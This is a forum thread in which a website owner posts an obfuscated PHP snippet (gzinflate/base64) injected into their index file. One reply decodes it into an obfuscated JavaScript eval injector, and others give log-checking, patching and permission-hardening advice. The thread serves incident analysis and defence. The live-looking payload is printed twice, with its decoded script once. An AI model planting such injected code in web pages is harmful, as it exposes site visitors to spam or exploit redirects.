Web page hacked

yakotey · 07-29-2012, 07:55 AM

Hi all,

This malware has been added to my index file:
Can somebody tell me:
1. What it does
2. How can i know how the attack occured?

Thanks.

Code:

#c3284d#
echo(gzinflate(base64_decode("tVW5jtswEP0XVVIMyxweEglbabZOlXKxheHYkbCOZchCkI2Rfw9neEkbLbIp0oxpcvjmvTmo3e0wdNfx4zi83C/r5vh9f86za7bKhn7sx5frMSu2vw778dDmP38civuRXLaXJgOoyxIYK0sD2q6gxqUJBpiUaBVtGHRAX67Rl3Hy4BVa9FZaERg6o5FoRGWvCXIFhsEEHeNfba2uBS5lQlWJDO4aDf6+kgGJ0MHi2fsGIm30BAaRPFRIAmQU46hCClsRmIWtSHLNI8AiliBDrlLNM2BeMRAKMDbSFjBVvahPVnQkVIgETBuygaD3YDoI994E90aZXMJMkGv0JAhEvZS7gBCpK6c6dsdrva7ilFyACQcO80R6jyox4zNmkllghRQUCL8iwS7Af+CSchow0LlKRVMzMrSaNAWx/ueaytCq1L/U6RSRVoLuiCoVn+i7THFLXyIRyZEI56+7w91LTUv19MmQjp3wEH5YIO66PnHxFLUMk/NeYzKuiea7lfsqsQW5ZuFOLcJcLyaYhf7xk0zkqeyukhMdFF1rHrNCRzw2gKknk8TnCORb1TGtTp7rIBYegDdEL8w6V3/uQXo+UshQkzpmL02xn9L0ai3l9O+P8WyIsvJ2PXdjnpWl/TS0Dd/emizbnvoh7xq27dZcy539bWDVFffnprPnt9XnceguXx+z09B/e2j3w0P/5Zg95ZfH56dN3q3bD5/2Y1uezj3CbNpiZQr73elOOQPVNA2I4pjf7M5u479XvwE=")));
#/c3284d#

unSpawn · 07-29-2012, 08:49 AM

Quote:

Originally Posted by yakotey

What it does

eval(gzinflate(base64_decode("snipped""))); returns

Code:

<script>try{n-=eval("p"+"rototype");}catch(zxc){e=eval;n="117..100.. (..) 117..100".split("..");h=2;s="";for
(i=0;i-284<0;i=1+i){k=i;s=s+String["fromCharCode"](n[k]/(i-h*Math.floor(i/h)+9));}if(015===13)e(s);}</script>

Most often it's purpose is spreading spam or malware.

Quote:

Originally Posted by yakotey

How can i know how the attack occured?

You're likely using a vulnerable version of PHP-based software package. It was not updated when it should have been. Start by finding out whatever version shopping cart, forum, content management system, any plugins or other PHP-based software package you run. Check your system and web server logs for anomalies. Check the vendors site for updates. Some list cleanup procedures in their documentation section like http://codex.wordpress.org/FAQ_My_site_was_hacked or http://docs.moodle.org/23/en/Securit...hat_do_I_do.3F. Let us know if you can't find any for your product and version.

colucix · 08-01-2012, 05:48 PM

Moved: This thread is more suitable in Linux - Security and has been moved accordingly to help your thread/question get the exposure it deserves.

sundialsvcs · 08-04-2012, 01:31 PM

In my experience, the most common cause, on a shared-hosting computer system ... is another system user, and a lazy hosting company. I have encountered sites where every file was owned by a ftpusers group and was writable to that group! Therefore, if you merely had a login account, you could diddle with anyone else's files.

Once you install the files on the system, use chmod -r to make them read-only. (Slightly different permissions may be needed for directories.) In order to subsequently change the files yourself, you will need to reassign those permissions.

If you are using "convenient" system management software such as Plesk, then I'm afraid that you will need to learn enough about system management to enable yourself to discard packages like that. (And please note that the preceding sentence is a statement of matter-of-fact, i.e. nothing whatsoever personal and no offense intended.) Convenience has its price and it is an unacceptable price.

deadeyes · 08-04-2012, 04:03 PM

Quote:

Originally Posted by yakotey

Hi all,

This malware has been added to my index file:
Can somebody tell me:
1. What it does
2. How can i know how the attack occured?

Thanks.

Code:

#c3284d#
echo(gzinflate(base64_decode("tVW5jtswEP0XVVIMyxweEglbabZOlXKxheHYkbCOZchCkI2Rfw9neEkbLbIp0oxpcvjmvTmo3e0wdNfx4zi83C/r5vh9f86za7bKhn7sx5frMSu2vw778dDmP38civuRXLaXJgOoyxIYK0sD2q6gxqUJBpiUaBVtGHRAX67Rl3Hy4BVa9FZaERg6o5FoRGWvCXIFhsEEHeNfba2uBS5lQlWJDO4aDf6+kgGJ0MHi2fsGIm30BAaRPFRIAmQU46hCClsRmIWtSHLNI8AiliBDrlLNM2BeMRAKMDbSFjBVvahPVnQkVIgETBuygaD3YDoI994E90aZXMJMkGv0JAhEvZS7gBCpK6c6dsdrva7ilFyACQcO80R6jyox4zNmkllghRQUCL8iwS7Af+CSchow0LlKRVMzMrSaNAWx/ueaytCq1L/U6RSRVoLuiCoVn+i7THFLXyIRyZEI56+7w91LTUv19MmQjp3wEH5YIO66PnHxFLUMk/NeYzKuiea7lfsqsQW5ZuFOLcJcLyaYhf7xk0zkqeyukhMdFF1rHrNCRzw2gKknk8TnCORb1TGtTp7rIBYegDdEL8w6V3/uQXo+UshQkzpmL02xn9L0ai3l9O+P8WyIsvJ2PXdjnpWl/TS0Dd/emizbnvoh7xq27dZcy539bWDVFffnprPnt9XnceguXx+z09B/e2j3w0P/5Zg95ZfH56dN3q3bD5/2Y1uezj3CbNpiZQr73elOOQPVNA2I4pjf7M5u479XvwE=")));
#/c3284d#

Mostly the apache logfiles are important. If you have all requests you might see some strange requests in the log.

However like other repliers said, it can be bad file permissions, incorrectly configured software, ...

What application is actually running on the webserver?
Can you see from which time this file has been modified?
This will seriously help in finding the attack method through the log files.

Habitual · 08-04-2012, 05:11 PM

Doesn't look good. I saw "moodle""drupal", and the usual "Wordpress" here and there at http://www.google.com/search?q=echo%...8base64_decode

Are you the owner of the host/account?
Is it a shared hosting arrangement?
Did you change YOUR password in whatever *Panel you may have (cPanel perhaps?).
What kind of CMS got hacked, name of the package please. 3rd party plugins, I'll bet.

Please supply answers to these important questions and Change your account/ftp password if you have cPanel.

http://25yearsofprogramming.com/blog/2008/20080228.htm

Edit: You may never know how this happened, but you can make certain it doesn't happen again.

guyonearth · 08-14-2012, 10:33 PM

That looks like encoded javascript, which usually means it's redirecting to a blackhole or some kind of exploit, or building a remote call.